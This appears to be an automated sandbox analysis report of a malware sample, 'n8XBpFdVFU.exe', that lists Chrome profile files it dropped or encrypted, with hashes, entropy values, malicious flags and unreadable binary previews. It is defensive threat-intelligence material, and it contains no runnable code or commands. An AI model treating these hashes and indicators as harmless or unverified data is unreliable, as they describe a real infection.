SHA-512:	D7A6C61B24A31BAD7F9110AD1CAF95AF398E9CE69155414D7FCE9AFDDF8B08051778AD86F4C480174847A2287B9C1D8472C5AE3CE69C65D90AD6149C9A598443
Malicious:	true
Preview:	4.397.. ....N3..o."..p.95..ax..........0..-`....RX....z......PJ... ..e...u.0.!>K.o...(\|.]..'.~...U.>..L.....MFo...81.W..:o..%..zB9h=..aH..S.I.u.{.c.!..S.....FDt..#...%6.Z.p+.n....!g.?;..A."......B6.'.N)d ...zX...R}I....c...x....V.L+.q..T0.S.../..u..O...5h...z..~....t..x.VjU..#..T...C.T........9..b.&f.u..M..`.pG.Z.S.-=7I..X....qV.U.JG.>.....{<5...wK...uO.M..J.. ...J.+.0..D...A..i..xXI....'P@..$.T.N..^.N..m...:.e.Q.a\4m.8.Nxc.Z.YP.?....-i.5....y.<.D.......P..#7..6..d5.(...........F...z.S.OlCx#..~:.X-;...d..W_.<......`.>8Wa..%>^X.o...#B....b.;.b44...\.qH5J.S.NZ.5:.. ..3......."....!E......gF..p.3/z.}.X..f.5.LS(....GS..V.....`.6.........D]....\~..O....R.JK#3.=....#....rX.d{... .2Zk....#.)4.a.*.........b6.o.....W..J&h..L.7...C..&A1P........U...Z.k)w..w-z.>...j.z.w.~.%%....u... ...?F.".e,...O...ui...8.N.....X..HG/......'.m....+..E!....K%..W.NG.r...[.l+.o.(.&]e.U..2,..Bvk.....'.:.mSa....S...Q.Q&...G....].C..BD...{...$..cn.\....n53.....bx..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.4862451193231685
Encrypted:	false
SSDEEP:	12:qOg+a/F7RgR1mMoErlaFAXv+v+6F1VLuekJHSzbP1+cii9a:Rg+s7S5XrAFAXv+GO6JEcbD
MD5:	ABD74EFBBC8325DB7F787174C382CB0E
SHA1:	15751A96E296B70286E287D0C5A1DAB93905C6CB
SHA-256:	E819BCF17557F70CD25C9103AAADE1D29C814B9651A42C177075FA9BDC55BB2D
SHA-512:	EEDB5DF302CE20EBF9824252E635D95A4BFB6780587C8E65AB907A75AD6B1D2F0AEB5A60B3B9284C809F6BB2DA71F98FD41874A80ACB3F7B9F8314AA712FCBA0
Malicious:	false
Preview:	.f.5....... Y....3L+..Q....qe....b%=...v.\|.jeSX`A[K,2L..m...\|...m...A.......Z...e..S..{.je.P...jl....V..<.......y._.......-.........Y.k....sZ..i5..D..[.Z.\H..W.eUuZ...j6.....@....R..H:Zz.!..J-....T...o:5..p.....,../{H.T.;+..p...u....A....Yj&....tZ....<{..%dS..g....V1..`....X........U.7..[H..+M7...ag..q.g..+..H.C.~{...6..x.*g@.....%.....Y.d+.............g. .e..g\|......0.._6....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.494216936156355
Encrypted:	false
SSDEEP:	12:quV4nijPLu7YU0T7XBv1iYhBYKcyLhZ1+cii9a:TOnePOW7RvYYsbyUbD
MD5:	CE6093C91F4A7921D70F20D9EB4FE5BA
SHA1:	64D477BEFD0BDA9CE1EF3E668E6B1A3828DC6AD6
SHA-256:	1D17F79F24E6E6572D8735EFAE86C3941F1158A8DFB0A8C9803A050A554F518F
SHA-512:	F227253BE170AAC3C24B865725017EED68637EC951F713EFC92257C62BE409A6B7BC6E99D0793E4B0557369C5B0FC001EA251237791C73A3C79C8B4809AE81F1
Malicious:	false
Preview:	.f.5..[p6"M...bC4..';.Z..g..X..[...)...(..b........f..r{...+#.@u...Wl.%....uTF].Y.B.....]...\..W.TA..%.....m31..e;...cL...i...x....c..;..E...f...b`....=.d../....M9....g..KN.....@".....B..{1.hg.tC.o.{..ikQ.<K.......F...N%^>zn1.....8:.O./8.}T.u....#...u..O...r..>.F...%e.85(+.>.`6..>"{N..[b.*o4.......a...p....bO.....X".5.oCE..,/ls.5.q.e:.0.%7.`.R.WL..N...Et1..._....-.=...%..q~...>..Y!..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.762397754632955
Encrypted:	false
SSDEEP:	12:q7a2OdAuwAm/Mb6kb+WXsmU1K5SlWmoUzhjHSh5J/fz6dzmo0qcD/8igg+P1+ciD:Iaouv2kaBmUg5SdoUazJTL719bD
MD5:	F78E91783B24BD90FCDA8F1F9FC3C13D
SHA1:	77D10B479089870F9461F3F19DF377672394E3E1
SHA-256:	B4C71980210B4ED37D1BBA1BFD6F9D7650844DC24E267D376D05807A4E9B3517
SHA-512:	F4337889761C2266137E601BB43BD1168A2EC4CE39D7DF2C41EC70D137F9D59EE9D93E36A849F99896CE76B24C9664E7DE6288C61A62062906FB2A8ED3EF1442
Malicious:	false
Preview:	.f.5...>.......i.r.D....E.<~./..7.Ty......dF..fd<.C..l..{.eF......H_..h0 .8.h.......c.-G...C.J..r.n(.l....u..8B..&...8...~..P}M...F`...=F^Ah..<.Oh....f.z.eI.$i..n...Tg...\|'\|(....>....N.Cy.......(W...g..d..]N1.....Y.w.n.P.t...M..%.C..........9..].g.U.\|.{.C..6.b....!...!.e+.Y#.....5...q...N.ec....R...%b...G.L.....A.bS.K.&..i.?.:.'.1.....`..:S.........;.'..]......oe..v....P....\|R..Z.......Y.H...u.Sj..!Z&...y.p.G.g.H.,nz..`....@...p...S..;.....P_8.....P....i........n.E.6..g).+.[..........J'....5......]7G.....*................J..m.u.?2.m.q...F.1..,.O.D......."E.3....#.{\|.P.9h..&v.}z.._...4}.\.:h.~..xo>.5.d..y.[.... $S.... ..V5.5...9..@.q.R{9n....D.6<X......<c...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.63260477580201
Encrypted:	false
SSDEEP:	12:kRt88BS8nN6UkaL6AIIXDjXGmuuhHRzX/YAUC1GabBaD8tolnf1+cii9a:LWN35smUupVX/YAUkG08nsbD
MD5:	7B35F7B5DA9CA9AEE4D6144EE9F218CD
SHA1:	CEC5C7EB90F23A2FFA274426ED2B21BC6F51100F
SHA-256:	9CC7751B8D7EE83B380E48A3F0838D73C6E4A95FE14E5B88B217794040343418
SHA-512:	B871C82A70A6757BBED979BFFF7E158B137A7A206C02D759B5F9C0DA9D58287F9DF758F8C60025B8BC7AFD3115E5B5F60E63D63904C629AE5A34A520D5D61BCC
Malicious:	false
Preview:	2023/a.....Z.0.!6.mx.?..U.I1.v1.8..%.l...:..]...o..E......O.s.E8....wY...pr..bBq. .GI.^2.M..&.[.=....x......:........sog..9....dD.!:.M......,:3...._%..4-T/.$..........`6\y../3. 0.V~...%.C....-....h...CU"i...w...t.i...7..."...VOB2.n&c....c=....JDI.t'...HM......W...%D.Z..[&v......o.t ..$..Gtb.w.....L..R~.U...'..HG.y.L.......Df.D.E.pyw.v...d.L.;.@5...g..v.......kh$...r.z8...M+K.u.x.eX.......(...W.Nz...O{-3nN..vZ..A.>6I.`3iF.Y.0./^'...K.#6cd.W_.V.C......P.Dgb..qZn...&a...0....:......{3..v".0.o'.hO..`.......U..v..;...{...j..w!....B.vV.WK..`..%.hs].SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.660087476534606
Encrypted:	false
SSDEEP:	12:kgMJIqcox3PsU6prdlv636ivf3hbHsuySFBahiw6RyPW0k4L9QwZXsbcA/5f1+cq:YIqcox3P16Vdlv26kfJMCshiw0+WZ4JP
MD5:	B1C44254F597FA33D8E522DE29AD6964
SHA1:	FAE6FBD771262E5892058F003316A883A5F79C2E
SHA-256:	5DE37091C4D7E42A55CF8F7D55B8C567D4DF3ED9D7BF1AD2248ACDB69B2514CA
SHA-512:	99D3340C9D2F4A9D8827B58C71B8479F485AA9458E064F17B6756CC68AC73CD1A14BAF2D68F920F0FEEEC4D33F423D2672FBB01E87293743301C90CA8D3FCAAE
Malicious:	false
Preview:	2023/..L 9-V..J.F.F....n=.......>.r...^..O......2>vc<...]..2....~`...fm1.....H.pxkH^8.-A._.Q.[`.@...r.....uu~....\|;W.u.oM..T.Fs._...*T.P....(."g<.i.h]...!@.....,..5F.a.'.:..vW...W......r...+..n;X.#.7.@y..... L...\|...h..t2........iV$.No..%.....lvY..Q...D......h.c..E...6.u>.M..).QT.S.jM+AY....`L...3.....@j._...&..%..&.~aj..hA...h.!......,.{'.>..D..\...3...].Uz._.sg.5sK...+...e.Ft...B .";t..N.........TK.R....;..bv......?+^...'K..&)l.....Rn...u....+...m....97....'.Qo.9..C...L......V.II. .l....Y....z....Bndo...jk..=.9.NM....8.w.WC.W)cX...I....k...A%........u....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.3502433364539765
Encrypted:	false
SSDEEP:	6:wXjHwBitUR+em+yptvt1SBQs1fAleYQce1I7XIIEKZE4dKkf2W5Wyc3cii96Z:C9UcemNptvt1124leXcqI7XIzKZ9f2W8
MD5:	E6CB8B38990B37DF8F55F55CDDAC9F5B
SHA1:	BCFDF9C3C62D7503CCCE91C7DE372922333C4FB6
SHA-256:	F8FCE03ADCC0216DB03BD197936B60AD394EC537202AB45EC2DEAEF339DA010F
SHA-512:	2BAEB0B772744982CEB6E0E0B359CEFB5F1255D660E72D723CA8720C455881A334493C7708C286BB92E2D3DC881C5B2E1FAD68C270FF8AEF403B01ACF0D7393E
Malicious:	false
Preview:	.X.%*M....%F...c.?3.r".'..HC9I...h.......T..j]..T...S....U.3...F...\aB....g!.s4.....<U....`>.,..r.w..._.....F..G.6.....T/o%r<....!~..o)...fF.!....~.n..+.J".d.Xg..Q ......\+yM..L..ik4.Y......I...F....K....Vl..M.0#.i.0Bs:.T..../t,...t.....hUo.>R.c..A.o.oR.{..t..5.z.2......C.....]..T......)SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	633
Entropy (8bit):	7.703148783066753
Encrypted:	false
SSDEEP:	12:Z1hwSQnSJZKCw7S4RLNv/1D6D6fQOAKXvkvgMXIl8vpLqBhbI1+cii9a:Z1hwYeCkS4RLNv/1DbQONfmIhBhnbD
MD5:	C1ECFDFFCBE901C1C36D575FC06F25D4
SHA1:	237CFF787483549A4819C615708666491D65A6E7
SHA-256:	2DDECFDD8746118C77B00A0CED754A38E19E482FCC9968D988A72E9530BD6EC5
SHA-512:	3AE1FABFA548DBF9CCCE1CA8CE22F48C0C35E64122955FEB6C3F30CF876083A873AEBD321603B54CD627E6F905BC347800194569C58B52516B3D2817AC422FF7
Malicious:	false
Preview:	a.a...;..\|.....`...i...e..._9.......3k...i....J..$ERw....8>....N8x......Z.(..$In...(X.f..,.?L..r..mm....<...4..$....0V..^.L....MpMK]..gY2o.....V6.-.T...t..v...P...m...= .._..3..Ew.>.j........Q)............c/.R.d....,?.~.=/.:.f.-`.\|U..m.t....;......I.t......^SQ......V+&..&k.M....jc=`...@....YVz.&....H.!.@.w......?..'.H,.V.t.w....6K...8.-...W3.`.~.?.J...1....=....LYI?.....A.u.8KQ..........+.?:....L.%.......{qp...U@e.u.M1.....H\..w......pn.b........".........-<.otS9h).. 7..6...!`....j6c.......]..&...2....$}s+;.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	7.657007767544216
Encrypted:	false
SSDEEP:	12:kpJx77b2EAW4fAsq8dWZl3VPF812aIZz+29EDCU6bmiPDNc/hEcaF1+cii9a:6xPb2EAks4D3T8hIRHmJbD
MD5:	FEB641AB13B883343AC65BC22AB89CBE
SHA1:	685CB92B9A8D1CCFABED9C03A13AFE38E16914F9
SHA-256:	758477A760EE819CB822C61D844CE495EB833D901386D5ECD0E05C6CB6014859
SHA-512:	F8DCAD753BF8B52543BA6FCBA780C60949387E0E789EA7348768CDE7781921BB1942F8721356A20680AF14FD656D1EA918F35783FCB5DF572D29991A07E9C4CC
Malicious:	false
Preview:	2023/."...+/,.....r.4.j...6....vE........u..{..#R...Df.e......@BK.\|.K..f.j.....B...ls>.....V...HUR..\|yT.#.g.....W.R.....Y.B....\|.Z.P....[Y.@......)QzE...Y.....yhW...........&7.`-r.._`..@...]j....5.Z.2...:....M...y$..zb.\.b.F4.\|.w. ..1].....x].!..Y..x.....qe9"V..`....l.\|...Y..W.5K.......Ob .a.L(...O.xr"a....S..+.......>..5.A.KC.;dMS....+..,Y....?R.2.I...6.j..<.\...(..=Ir...g....#.;.`.Z..c3....u&9 .M.?.C...........C.l....=........1.....Z..uAx......z.ZB......2 ...{}...83.c.......}:.G....0..&T....c.Q....c...ys.Y."......;p~.G...R..Zl.......... ...C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.929295486539073
Encrypted:	false
SSDEEP:	48:2iakjgTitxnW3hqGO/2Ftre90Sxi6O/jwqaUGDCW7ELPWxz4YnOfih9k5R1Ik2zf:2iaH2xnW3HtrwJi6OL7xGDCW7hxEyOiV
MD5:	2ACEA6A4C93408CFA194E90FC3578E92
SHA1:	989EB052D5AEAD000E9559EEDCA7384DBA2A25A4
SHA-256:	7ADAD0867DA055540D2BD18B19A6150F5B274B55B14CFF0AB19BBE9489546F66
SHA-512:	AA91DEF0F1644B919D48CAB1EA3FD7643061B9D23F2B05BBD8CEBDDECB9C6FFCD1071F57076FBD4D3F8908967EA05917F3446E03068A907BD412BA35A740E174
Malicious:	false
Preview:	...#........^....:.".\.q;^oU-.B.U..o.d..eV.... +Tfw.3..I.8.Egs2.8o..2...\.....v.p...$ ..E.9.J.......B?....5...m..N[.a2......8.8.=....H.........`.p.pC....vhc.D.{e8u.A......Mti.....H..o..}...E-.o.w.)J...x.:6!....m.\.'0]CfW.9.+fDK.J1o7t2>...J..0.D...t.S...r...]Q72F....L..b...S..u...A....e8Tq.a..3`IYJ.R.%w.H....U6_...q@gl.6{..f..d~IE..+.z..{&....\|+.^....H..c..z..vr.....#.u..n;.8.N.9.....#.X=.GyHnA...F=.B?.&O4.I& [..`.E..Tx.f..~Z/.!w/`.........W..3]..M..E...3..,...Y.......)s.?;'........DO..~O..i}...sH.Z......p<w..X...N^.[...0H.."W...M..'..`+......P.(....[..1......+.,..........<v.~i../R;..\....G)\|QG.3s..=........ ..'.....{o~Ge.DR@..`..d(....y...h....U...Y...x....<.w...{.\.....pL6.U..-j.K....t.X...i..=.G....+:....Z..."....9.m_.e..p...\....j..y(..Ud..!=.....Z.s....(..r..."._.}gj........u..aC.o!N....WA.9wd.....oG~...,^...[T.=U-...6!w....L.....R..pE/s...\|...\..@....p..R^O......\|e...*>Uu....y...;.1..`&q..I.&K./6...o."..V.i1.a.{...).0.R{.....,eB0._.Z.@

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.633131556400332
Encrypted:	false
SSDEEP:	12:kFeuMAjKqyJG0BmA7Paq7naudBel21oGE/sqT9qWNwd9ApCAObLF/l3M1+cii9a:ajMJqGn7yMauveezEEQ9KipCAiLD3bD
MD5:	2236D707122087F24AD69A83EF79BB47
SHA1:	3D7DB241924D87FB77027FEA8BFCF93325F0A76E
SHA-256:	C552A159FB1D8434EAA82F50FAABD552AB891FFE20A80D2FFB0F76AA04E64D3E
SHA-512:	00F870CDA310CAFF5013B8B269E8DEE9C476C817231ECF676392DAED35EDAAC662772269144AE644747E5947B7B2A070376D4FF99D2BA4B365AA0B4C336EC829
Malicious:	false
Preview:	2023/.../C......T..Js.Q.;....4.3...]..0..;9\|.I..}.$2..2.6.\|.I.Q.....^w.....sy...T..~.. .cE...p ...!......m.o\...S>.s..f.7N..8...[R....0J.6...9........J._C.....f_*..0%1.c.....j....f.R..........T......m.\|..c.7.\i5b.y...e....c....d4...^.#...pXc=..%(.S...~7....d...{?.9....W.......a..S,..+...\|^E.....>D....cl... ..P8L3.6.C2&......t-....q...zB.}Y...NE.1G...g..].b....wwvyj/O.-.'[ib...4.....Tr.`......?.O.q..b.F..B............)"@..Y.J.).......+.U..49W@.Z..e.I..f....^..E..k..Z.{...\.m.......QT..v.)Sd.y\|K.c..U.[.\|...c....V..mQ_.>....s...B.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.446251653534757
Encrypted:	false
SSDEEP:	12:wYg83DwKonjjZCxOVEOyEfg/udOYN1+cii9a:wEzvW2h9Ef+bD
MD5:	F5D41329DDA4966775AD2F99F66AC525
SHA1:	636C7997BA63C93532FE955A49D18F8DA8312DF4
SHA-256:	396A5CBB5A8E11DF4131EFD004A9205DAC6001E77CD9B2B692F408AB2E744F83
SHA-512:	952A41E0070C3D38851ED9CFD83DB38833060DB2D0B87F7FE60D02D42ED7E1D1E45C9239E75C2ACB1A7CF2B255909E7483482E8B6A9165D52A059166B931F597
Malicious:	false
Preview:	.On.!.X..'..Ls..2.t.......V....nI..${.G..[~Z....-E.w..i.C0...0..K{.#.}... ..h_.G=..O..'....i...i...._..`4DK.?..h...T..#.'G-..ce0......>5.Eb.e.`x.........u...h.:%.x..c../.i.4............e....;....SM.xA<.... ..&..u...?#.!..]x.V.'.;%..k...IGS...U>1...ne.......i.7:.k.......i....'.P...R.pW......RM........../.J.M<..i..#!~%..l...s..L......fi........_...r}..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.663513684557537
Encrypted:	false
SSDEEP:	12:kghkOvYQvqb10233cXh3RHk6nuDyljlyPgfKjQ3X3t+DusPK7lr9Dmf1+cii9a:ZqOAQvS+ocXhhHIOjlyYfGQ3XwDuZh5/
MD5:	CA7BAC414574FA7402F4A9A93A34C09A
SHA1:	29A6F7DDA65F084BCF5EB33872D009DF8FCE33B8
SHA-256:	0EADABDC30638AE7BE6C036159971F08DAABB4286EB36CBF4B4AB0B45B5E2694
SHA-512:	753D1C9C0A3A537B3E7D0D2BFF5CCF2780C42A5B07049761A0E6A7279079117B36CF3ED32FC4EA62A0628F1613E3F5D791140C4491B234DBC0043405A129E1AD
Malicious:	false
Preview:	2023/b...cdDe~~../4.4..Ry^...@LN.;1.....Xl[...........I........{..%..ky.-(.l..D]..'.)...bn..D.E....@.m..Vt.).Pe.....it..........#1..xper..@......m.<..]...ba..$Z.v.K......Z}...Ff...jR#BP6......h`...,...........zK.hZ..;b...(..lU....-..3.:j..^...D....X.)-./\.....m.#.la.9.q........A.wK..,0z3.\F.5"Y.....<..&....B...m...@h..Q...3...8.......dkL.K.......` El.pq.....[...y6T..;.`UY......%...X.$XF...M.=qN...&..S2.V#K.4l...k..7..1;.'x.;.......#.6);...{....".<.S..t....`........0x..2:]LQ.A.T.X....m.i.c...a\Y...K....\|.^....m...........8.L...##<...%/.S#.Y}:...8........=T..#ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.994237159160967
Encrypted:	true
SSDEEP:	768:ZxpRvTOppt37HP2Qdb4csoF66oqEoQj1t8f7x7zbU:ZVajt3jP2kbNsoA6YBt8RzbU
MD5:	106F400FAC93B1AE198ACA386BC619EE
SHA1:	1DA707531A85A03F820FB107A7B10E0218CF161F
SHA-256:	053CF195876014C82AC7EDD021145741F7766B913826FE6D0A87FF6FB9378A50
SHA-512:	69576F5E7479545B6209D84909BD091BF8D722449389F513BFBF5982367CBE7670B6F0E3E68D2276A6876604DEE5564BF5438D68D15A84FCC31CEA9D36C5094A
Malicious:	true
Preview:	SQLithIh...S.......5....@>Z9......:..... w\|....].3..\|.\|7..G..K.:...L.`.Shw...?.....x..Q;...X.~w..@.Sp.I.?wZ..._.[.O.w..4.9..<.k.:.%..Q..(.....fw.K.K#.a..E.t.Q.....b/.K3Wf="...uWY0...."J..g......\.<.!..{...bd^Y...4../.....CW..-.$=....)..X.H.Z2.-G.5Z...X..0...4....~.Q...d..G.("ROs..<eB@.<.:...Z.....2.W T...s..;.C.,..b..vZ..(...X....q....!.S.L..._My.d./mB.R...0..C.(7....Xc(.C&G..u.;bB.P-.M....r......%q...x.wk_...r...M.oOW/.]ug/T.p.>..&....T7.(......B....C?..#.......`.]..`!...?.@;....nG..@.x...W..:.. B..p.p@..l.$:.jW....;...e.3.V.+.2...m.4..EM.g.`..u..T..^i.o.....}F...um.......&...7ps.71Q.v.r....!.?....m.wQ_(..*...x\.`/.8.C...+..[Y,.....x.....>.e..?$.=....^}...F..u.C..~3B......`m..].>.`!.A.Y...TvW..R.V~..%...%S.v.?.B.z#.I..F..U/......a...ST..c.\|..G...Q.(......0B{x......b.^..X.`>wX/..Tq....f..".-.o@..P..}..hS..S....:.mG.......P..]J...a...0SG....y..{...C.M..Q$i....ME7Fq......q.c..dP..b..C`:..=Iv.N\.f........N.....IC....$...M.!.>.?X...U.....d.z...,.+.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997795429690665
Encrypted:	true
SSDEEP:	1536:x4BUGRmTyJTOB9BjJrXOIvQKR/NauCw6b86ajK5PdC:x+82TOSIvtln96EKRI
MD5:	93FCB15E3152B279891D2F8F7484B7AF
SHA1:	04E49342190B5A11B4A133E86EEE7D46EE5E42E5
SHA-256:	54645A330B7DA1A359C6885088A779738331348F3B3305A82117AA56B71A50C6
SHA-512:	B040262D288CDEC36976C96FE3B391863274EE8CDFAF64E3109B2FCE4A6D4F04B4EA59B4A458AFB097CD7C928EB71D5B131A2065AF499F0323D95BD7B919188B
Malicious:	true
Preview:	A..r.^m....t.\._...f.....L..Q./,..4..4~.W.........@@....1FD.w./F.u....0?P.\.!..S.I..K.x...+...].V...........\|.}F......x.P][.......U4....5..]._.....CE...;./r..'..}0v.E......2R...w....m..Y...[4...m..%.........Fp .Gt..QsW..d........b.._.-B.&..@...O`.'.........W.?..6.U...n.+[Ny{..0fr.i..h..$...7..%.p......\|.&....k...c..2.(.u...m...9..D...!.~.....2(.....ar..7@(@U.fe.O.?tC..u..}...[9...km.e.BWG-JCHW...A/.8.Q.lw}....-...e3^......&..s...5...I .....y.......Y..T+IZl(.8....d..s..G.E5....../.#.M._.......).X:pz8%...O.BW....}._<b.j...L.......R2~.\|.X.}E..d:.TiC).(.V.p....?....ra.~.U....}-=w'.;..OZIu...uX..].8'.......;....g[e...\..=.(~.0.]6..d7Z.d...c..xH.N./...Z.9by......3.=.n[f.t\.~..w..'.,.....k....~......<.x......'w........GW.I..._...lJ.ug.[K.;.:F.h.%+.D..I..].,.^.5..#..?.d...lI`.9...R%2C..Ah...'.......l...\.s{.....jj..8L.^f..*.\|9b&~.[9N.."rK.V...6Y...\|..u,\...`..'.......HsD...u......Y.nV..8.Kq.s9./.......j.....b..v...BE..tF......f.. S[.6.?N.d`......-.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.649319907201482
Encrypted:	false
SSDEEP:	12:kYPLl6AJJQszGMbzPsl6Elu2O9HyGvb7kMko++RmHhMISTyP2y1+cii9a:dzrJJQsRfXEu9HymXD+QI3e5bD
MD5:	8E5633ADDCE704BFD3D40FC82CAF4A86
SHA1:	0ABAD86B1AA61E2C2D97E92A9A129102400502A8
SHA-256:	8B55FF9E601DCB4910C5F859DBB0740AA359FA80E3848CDE5CD8A0E3F5EBECA8
SHA-512:	9EEBA2C91890E04E69BD662FDDFC2A8080799BC20E39A4595B134933F7E2D7CA64D7DCB91836ABF767911F3909FE60AAF3C8727B7AD630E0D7F35DE9ABDB8386
Malicious:	false
Preview:	2023/.P.\..h.....`..[......D.R.%7 h..r_t...Rt...()O........90...,..g.@[...%..\gn....o......]2T..L..1.-Z...I..C........"..2.Q.?.0...l......R..y.....h..U..^..Z...(..l....O.#..vu.<o..S....\|y...6D....6./..T.~..#.7X8<^.L...W....Ok...0(...(..9..%]c....FIT.Mai.^....2;.../...7.I.........#g..R.a.......oE.)D-...eo..:.......o9...U..s..wt>4...M7..+Zt.c.G...%9W.....2?.P....3.....w.J....f.6...Q`0X#...vt p.?vE.\.,....!..J.#.+.E.w>....fcj.OV.5...&.].R....P.....K...2y./.........C....b'p..f.vq.D_........Z..o.A.......a..Xz]K.A_..r.?s...\|:..f...&..9....a...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.9957526666915
Encrypted:	true
SSDEEP:	1536:v3Cn191BjMUYxpgZ+hQJS/gIzD32f3pK7eR:vATBY/8+PjA3pK7eR
MD5:	AAAE02A3C9BB4AA96C2ED413EC58D95C
SHA1:	D50C6371C7D9E7EABB12D00799CD83DE4AA1F6AB
SHA-256:	94D60941B66BA163033806D633E0E127BCFC1474F042358DADE019C6802DE501
SHA-512:	27E14340A7525F771B7FE3413B436E942BDB5E48F04823DD25905B1660FA5BC36479367A029E0B2FD74637053241913116313AD5DA39C46FFBD29AF8F6F784A5
Malicious:	true
Preview:	SQLitG.}..J4.x.,.J.A...`X.....gB.._vVc ....DB.P...N..>..Cz:.CLx3.L.R......._k.8&Y.$. ...i....}..Unw../wl}...$.{$..nY..L..(...~x.9.WZ....?...,.6...J]]..5..d.c...v..C...{....E3..........=LR\....c..8.gei.."...j..,..W.\_..1..'.Y.VW\|4..\|vNP=....V!S./.....T..).M.....Y(\Mx.vd!...>:.8..8d....<S...1G.@..+.Ja..j. .....IG.x....H.u.. 